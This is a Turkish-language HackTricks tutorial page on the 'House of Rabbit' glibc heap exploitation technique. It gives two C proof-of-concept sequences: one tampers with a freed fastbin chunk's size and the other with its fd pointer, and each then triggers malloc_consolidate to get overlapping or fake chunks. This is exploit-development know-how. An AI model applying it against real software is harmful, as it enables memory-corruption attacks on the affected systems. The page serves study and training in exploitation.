House of Rabbit

HackTricks'i Destekleyin

Gereksinimler

  1. Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.

  2. malloc_consolidate'i tetikleme yeteneği: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.

Hedefler

  1. Üst üste gelen parçalar oluşturmak: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.

  2. Sahte parçalar oluşturmak: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.

Saldırı Adımları

POC 1: Hızlı bin parça boyutunu değiştirme

Amaç: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.

  • Adım 1: Parçalar Tahsis Etme

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
  • Adım 2: Parçaları Serbest Bırakın

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
  • Adım 3: Parça Boyutunu Değiştirme

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
  • Adım 4: malloc_consolidate'yi Tetikleyin

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren malloc_consolidate işlevini tetikler. chunk1'in manipüle edilen boyutu, chunk2 ile örtüşmesine neden olur.

Konsolidasyondan sonra, chunk1, chunk2 ile örtüşerek daha fazla sömürüye izin verir.

POC 2: fd işaretçisini değiştirme

Amaç: Hızlı kutu fd işaretçisini manipüle ederek sahte bir parça oluşturmak.

  • Adım 1: Parçaları Ayırma

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Açıklama: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.

  • Adım 2: Sahte blok oluştur

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
  • Adım 3: chunk1'i serbest bırakın

free(chunk1);  // Frees the chunk at 0x602000

Açıklama: chunk1'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.

  • Adım 4: chunk1'in fd'sini değiştirin

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Açıklama: chunk1'in ileri işaretçisini (fd) chunk2 içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.

  • Adım 5: malloc_consolidate'i Tetikle

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Büyük bir parça yeniden tahsis edildiğinde malloc_consolidate tetiklenir, sahte parça işlenir.

Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.

Özet

House of Rabbit tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için fd işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.

Last updated